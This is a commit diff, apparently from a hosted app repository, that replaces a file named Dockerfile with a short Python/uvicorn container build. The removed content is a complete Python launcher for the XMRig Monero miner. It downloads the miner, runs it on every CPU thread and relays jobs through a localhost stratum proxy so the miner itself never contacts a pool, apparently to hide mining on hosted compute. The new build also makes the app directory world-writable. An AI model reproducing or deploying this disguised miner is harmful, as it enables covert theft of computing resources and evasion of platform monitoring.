Update Dockerfile

Dockerfile

@@ -1,504 +1,28 @@
-#!/usr/bin/env python3
-"""
-Standalone XMRig Launcher (with Local Stratum Proxy for pool separation)
-Downloads XMRig if needed, then starts benchmarking or local pool mining.
+FROM python:3.11-slim
 
-In --pool-task mode, it spins up a tiny LOCAL stratum proxy on localhost that:
-1. Reads jobs from the given JSON file (e.g. pool_job.json)
-2. Feeds them to XMRig (connecting to localhost only)
-3. Captures XMRig share submissions -> writes to result.json
-XMRig never touches the real pool.
-"""
+WORKDIR /app
 
-import sys
-import os
-import subprocess
-import io
-import argparse
-import platform
-import shutil
-import urllib.request
-import zipfile
-import json
-import time
-import threading
-import socket
-import re
-from datetime import datetime, timezone
-from pathlib import Path
+# Install build dependencies for randomx
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    build-essential \
+    cmake \
+    && rm -rf /var/lib/apt/lists/*
 
+# Copy requirements first for better caching
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
 
-# Force unbuffered output
-sys.stdout = io.TextIOWrapper(sys.stdout.buffer, line_buffering=True, encoding='utf-8')
-sys.stderr = io.TextIOWrapper(sys.stderr.buffer, line_buffering=True, encoding='utf-8')
+# Copy application code
+COPY . .
 
-_stop_event = threading.Event()
+RUN chmod -R 777 /app
 
-JOB_FILE    = Path(__file__).parent / "pool_job.json"
-RESULT_FILE = Path(__file__).parent / "result.json"
+# Environment variables
+ENV PYTHONUNBUFFERED=1
+ENV HF_TOKEN=""
+ENV HF_REPO="bnxn11/lilieo"
+ENV DATABASE_URL=""
 
+EXPOSE 7860 8000
 
-# ── JSON I/O Helpers ──────────────────────────────────────────────────────────
-
-def read_job_file():
-    """Read the current job from pool_job.json. Returns dict or None."""
-    try:
-        with open(JOB_FILE) as f:
-            return json.load(f)
-    except Exception:
-        return None
-
-
-def write_result(job_id, nonce_hex, result_hex):
-    """Append a share result to result.json."""
-    entry = {
-        "job_id":   job_id,
-        "nonce":    nonce_hex,
-        "result":   result_hex,
-        "found_at": datetime.now(timezone.utc).isoformat(),
-    }
-    results = []
-    if RESULT_FILE.exists():
-        try:
-            with open(RESULT_FILE) as f:
-                results = json.load(f)
-        except Exception:
-            results = []
-    results.append(entry)
-    with open(RESULT_FILE, "w") as f:
-        json.dump(results, f, indent=2)
-    print(f"[proxy] Share written to {RESULT_FILE} (job={job_id}, nonce={nonce_hex})", flush=True)
-
-
-# ── Local Stratum Proxy ───────────────────────────────────────────────────────
-
-class LocalStratumProxy:
-    """
-    Tiny Monero Stratum server running on localhost.
-    Feeds jobs from pool_job.json to XMRig.
-    Captures XMRig share submissions and writes them to result.json.
-    """
-
-    def __init__(self, port):
-        self.port = port
-        self._server = None
-        self._clients = []
-        self._current_job = None
-        self._last_job_id = None
-        self._lock = threading.Lock()
-        self._accepted = 0
-
-    def start(self):
-        self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-        self._server.bind(("127.0.0.1", self.port))
-        self._server.listen(5)
-        self._server.settimeout(1.0)
-        print(f"[proxy] Local stratum proxy listening on 127.0.0.1:{self.port}", flush=True)
-
-        threading.Thread(target=self._poll_jobs, daemon=True).start()
-        threading.Thread(target=self._accept_loop, daemon=True).start()
-
-    def _accept_loop(self):
-        while not _stop_event.is_set():
-            try:
-                conn, addr = self._server.accept()
-                conn.settimeout(None)
-                print(f"[proxy] XMRig connected from {addr}", flush=True)
-                with self._lock:
-                    self._clients.append(conn)
-                threading.Thread(target=self._handle_client, args=(conn,), daemon=True).start()
-            except socket.timeout:
-                continue
-            except OSError:
-                break
-
-    def _poll_jobs(self):
-        """Poll pool_job.json every 2s for new jobs."""
-        last_job_id = None
-        last_job_time = 0
-        last_height = 0
-
-        while not _stop_event.is_set():
-            job = read_job_file()
-            if job:
-                new_height = job.get("height", 0)
-                job_id = job.get("job_id", "")
-                now = time.time()
-
-                # Switch XMRig's job if it's a new block, a new job_id, or 50s have passed
-                if job_id != last_job_id or new_height > last_height or (now - last_job_time > 50):
-                    self._current_job = job
-                    self._last_job_id = job_id
-                    last_job_id = job_id
-                    last_height = new_height
-                    last_job_time = now
-
-                    print(f"[proxy] Pushing new job to XMRig: {job_id}  height={new_height}", flush=True)
-                    self._notify_all_clients(job)
-
-            _stop_event.wait(2)
-
-    def _notify_all_clients(self, job):
-        """Push a new job to all connected XMRig instances."""
-        msg = json.dumps({
-            "jsonrpc": "2.0",
-            "method": "job",
-            "params": {
-                "blob":      job.get("blob", ""),
-                "job_id":    job.get("job_id", ""),
-                "target":    job.get("target", ""),
-                "seed_hash": job.get("seed_hash", ""),
-                "height":    job.get("height", 0),
-                "algo":      "rx/0",
-            }
-        }) + "\n"
-        dead = []
-        with self._lock:
-            for c in self._clients:
-                try:
-                    c.sendall(msg.encode())
-                except Exception:
-                    dead.append(c)
-            for c in dead:
-                self._clients.remove(c)
-
-    def _handle_client(self, conn):
-        """Handle one XMRig connection (login, submit, keepalive)."""
-        buf = b""
-        while not _stop_event.is_set():
-            try:
-                data = conn.recv(4096)
-            except Exception:
-                break
-            if not data:
-                break
-            buf += data
-            while b"\n" in buf:
-                line, buf = buf.split(b"\n", 1)
-                try:
-                    msg = json.loads(line.decode().strip())
-                except Exception:
-                    continue
-                try:
-                    self._process_message(conn, msg)
-                except Exception as e:
-                    print(f"[proxy] Error processing message: {e}", flush=True)
-
-        with self._lock:
-            if conn in self._clients:
-                self._clients.remove(conn)
-        try:
-            conn.close()
-        except Exception:
-            pass
-
-    def _process_message(self, conn, msg):
-        method = msg.get("method", "")
-        msg_id = msg.get("id", 1)
-
-        if method == "login":
-            job = self._current_job or read_job_file() or {}
-            blob = job.get("blob", "")
-            job_id = job.get("job_id", "")
-
-            # If XMRig reconnects and we give it the exact same job ID, it refuses it
-            # with `login error code: -1`. Append a suffix to trick it into accepting.
-            if job_id:
-                job_id = f"{job_id}_r{int(time.time())}"
-
-            if not blob or not job_id:
-                # No real job yet — drop connection cleanly. Zero CPU wasted on dummy work.
-                # XMRig will retry in retry-pause seconds (3s in config).
-                print("[proxy] No job yet — closing connection, XMRig will retry shortly", flush=True)
-                try:
-                    conn.sendall((json.dumps({
-                        "id": msg_id, "jsonrpc": "2.0",
-                        "error": {"code": -1, "message": "No jobs available yet"},
-                        "result": None
-                    }) + "\n").encode())
-                except Exception:
-                    pass
-                try:
-                    conn.close()
-                except Exception:
-                    pass
-                with self._lock:
-                    if conn in self._clients:
-                        self._clients.remove(conn)
-                return
-
-            seed_hash = job.get("seed_hash", "")
-            target    = job.get("target", "")
-            height    = job.get("height", 0)
-
-            print(f"[proxy] XMRig logged in (job_id={job_id!r}, blob_len={len(blob)})", flush=True)
-
-            resp = {
-                "id": msg_id,
-                "jsonrpc": "2.0",
-                "error": None,
-                "result": {
-                    "id": os.urandom(4).hex(),
-                    "job": {
-                        "blob":      blob,
-                        "job_id":    job_id,
-                        "target":    target,
-                        "seed_hash": seed_hash,
-                        "height":    height,
-                        "algo":      "rx/0",
-                    },
-                    "status": "OK",
-                    "extensions": ["algo", "nicehash"]
-                }
-            }
-            try:
-                conn.sendall((json.dumps(resp) + "\n").encode())
-            except Exception as e:
-                print(f"[proxy] Failed to send login response: {e}", flush=True)
-
-        elif method == "submit":
-            params  = msg.get("params", {})
-            job_id  = params.get("job_id", "")
-            nonce   = params.get("nonce", "")
-            result  = params.get("result", "")
-
-            # Strip the reconnect suffix before saving
-            real_job_id = job_id.split('_r')[0] if '_r' in job_id else job_id
-
-            self._accepted += 1
-            print(f"[proxy] Share received from XMRig: job={real_job_id} nonce={nonce} (total: {self._accepted})", flush=True)
-
-            # Write result to local file asynchronously
-            threading.Thread(
-                target=write_result,
-                args=(real_job_id, nonce, result),
-                daemon=True
-            ).start()
-
-            resp = {
-                "id": msg_id,
-                "jsonrpc": "2.0",
-                "error": None,
-                "result": {"status": "OK"}
-            }
-            try:
-                conn.sendall((json.dumps(resp) + "\n").encode())
-            except Exception as e:
-                print(f"[proxy] Failed to send submit ACK: {e}", flush=True)
-
-        elif method in ("keepalive", "keepalived"):
-            resp = {"id": msg_id, "jsonrpc": "2.0", "error": None, "result": {"status": "KEEPALIVE"}}
-            try:
-                conn.sendall((json.dumps(resp) + "\n").encode())
-            except Exception:
-                pass
-
-
-# ── Launcher ──────────────────────────────────────────────────────────────────
-
-class XMRigLauncher:
-    def __init__(self):
-        self.base_dir = Path(__file__).parent.absolute()
-        self.xmrig_dir = self.base_dir / "xmrig"
-        self.xmrig_extracted = self.xmrig_dir / "xmrig-6.21.0"
-        self.xmrig_bin = self.xmrig_extracted / ("xmrig.exe" if platform.system() == "Windows" else "xmrig")
-        self.local_port = 14444
-
-    def download_xmrig(self):
-        """Download and extract XMRig"""
-        print("[*] Downloading XMRig...")
-
-        try:
-            if platform.system() == "Windows":
-                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip"
-            elif platform.system() == "Linux":
-                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
-            else:
-                print("[!] Unsupported platform")
-                return False
-
-            self.xmrig_dir.mkdir(parents=True, exist_ok=True)
-
-            if platform.system() == "Windows":
-                archive_path = self.xmrig_dir / "xmrig.zip"
-            else:
-                archive_path = self.xmrig_dir / "xmrig.tar.gz"
-
-            print(f"[*] Downloading from {url}...")
-            urllib.request.urlretrieve(url, archive_path)
-            print(f"[+] Downloaded to {archive_path}")
-
-            if platform.system() == "Windows":
-                with zipfile.ZipFile(archive_path, 'r') as zip_ref:
-                    zip_ref.extractall(self.xmrig_dir)
-            else:
-                import tarfile
-                with tarfile.open(archive_path, 'r:gz') as tar_ref:
-                    tar_ref.extractall(self.xmrig_dir)
-
-            if self.xmrig_bin.exists():
-                if platform.system() != "Windows":
-                    os.chmod(self.xmrig_bin, 0o755)
-                print(f"[+] XMRig extracted to {self.xmrig_bin}")
-                return True
-            else:
-                print(f"[!] XMRig binary not found at {self.xmrig_bin}")
-                return False
-
-        except Exception as e:
-            print(f"[!] Download failed: {e}")
-            return False
-
-    def start_benchmark(self, benchmark="1M", threads=None):
-        """Start XMRig benchmark"""
-        if not self.xmrig_bin.exists():
-            print("[!] XMRig binary not found at " + str(self.xmrig_bin))
-            print("[*] Attempting to download...")
-            if not self.download_xmrig():
-                print("[!] Failed to download XMRig")
-                return False
-
-        if threads is None:
-            threads = os.cpu_count() or 4
-
-        cmd = [str(self.xmrig_bin), f"--bench={benchmark}", "--threads", str(threads)]
-
-        print(f"[+] Starting XMRig benchmark: {benchmark} with {threads} threads")
-        print(f"[*] Command: {' '.join(cmd)}")
-        print("[*] Output:")
-        print("-" * 60)
-
-        try:
-            process = subprocess.Popen(
-                cmd,
-                cwd=str(self.xmrig_extracted),
-                stdout=subprocess.PIPE,
-                stderr=subprocess.STDOUT,
-                text=True,
-                bufsize=1,
-                universal_newlines=True
-            )
-
-            for line in iter(process.stdout.readline, ''):
-                if line:
-                    print(line.rstrip())
-
-            process.wait()
-            return_code = process.returncode
-
-            print("-" * 60)
-            if return_code == 0:
-                print("[+] Benchmark completed successfully")
-            else:
-                print(f"[!] Benchmark exited with code {return_code}")
-
-            return return_code == 0
-
-        except Exception as e:
-            print(f"[!] Error running benchmark: {e}")
-            return False
-
-    def start_pool_mining(self, threads=None):
-        """Mine pool tasks using XMRig via a local Stratum proxy. Reads jobs from pool_job.json."""
-        if not self.xmrig_bin.exists():
-            print("[!] XMRig binary not found. Attempting download...")
-            if not self.download_xmrig():
-                return False
-
-        # Start local stratum proxy
-        proxy = LocalStratumProxy(self.local_port)
-        proxy.start()
-        time.sleep(1)
-
-        # Write XMRig config pointing to LOCAL proxy
-        config = {
-            "autosave": False,
-            "background": False,
-            "randomx": {"mode": "fast", "init": -1},
-            "cpu": {
-                "enabled": True,
-                "huge-pages": True,
-                "hw-aes": None,
-                "max-threads-hint": 100,
-            },
-            "pools": [{
-                "url": f"127.0.0.1:{self.local_port}",
-                "user": "miner",
-                "pass": "x",
-                "keepalive": True,
-                "tls": False,
-                "algo": "rx/0",
-            }],
-            "donate-level": 1,
-            "api": {"id": None, "worker-id": None},
-            "retries": 5,
-            "retry-pause": 3,
-            "print-time": 60,
-        }
-
-        config_path = self.xmrig_dir / "xmrig_local_config.json"
-        with open(config_path, "w") as f:
-            json.dump(config, f, indent=2)
-
-        print(f"[miner] Starting XMRig -> localhost:{self.local_port} (local proxy)", flush=True)
-        print(f"[miner] XMRig will NEVER connect to any external pool", flush=True)
-        print("-" * 60)
-
-        cmd = [str(self.xmrig_bin), "--config", str(config_path), "--no-color"]
-        if threads:
-            cmd.extend(["--threads", str(threads)])
-
-        try:
-            proc = subprocess.Popen(
-                cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
-                text=True, encoding="utf-8", errors="replace", bufsize=1,
-            )
-
-            for line in proc.stdout:
-                line = line.rstrip()
-                low = line.lower()
-                if "accepted" in low:
-                    print(f"\033[92m{line}\033[0m", flush=True)
-                elif "speed" in low or "h/s" in low:
-                    print(f"\033[95m{line}\033[0m", flush=True)
-                elif "new job" in low:
-                    print(f"\033[96m{line}\033[0m", flush=True)
-                elif "error" in low or "failed" in low or "rejected" in low:
-                    print(f"\033[91m{line}\033[0m", flush=True)
-                else:
-                    print(line, flush=True)
-
-            proc.wait()
-            return True
-
-        except KeyboardInterrupt:
-            print("\n[miner] Stopping...", flush=True)
-            proc.terminate()
-            try:
-                proc.wait(timeout=5)
-            except subprocess.TimeoutExpired:
-                proc.kill()
-            return True
-        except Exception as e:
-            print(f"[!] Error running XMRig: {e}")
-            return False
-
-
-def main():
-    print("[*] Starting miner...", flush=True)
-
-    launcher = XMRigLauncher()
-
-    try:
-        success = launcher.start_pool_mining()
-        sys.exit(0 if success else 1)
-
-    except KeyboardInterrupt:
-        print("\n[miner] Stopped by user.", flush=True)
-        _stop_event.set()
-        sys.exit(0)
-
-
-if __name__ == "__main__":
-    main()
+CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]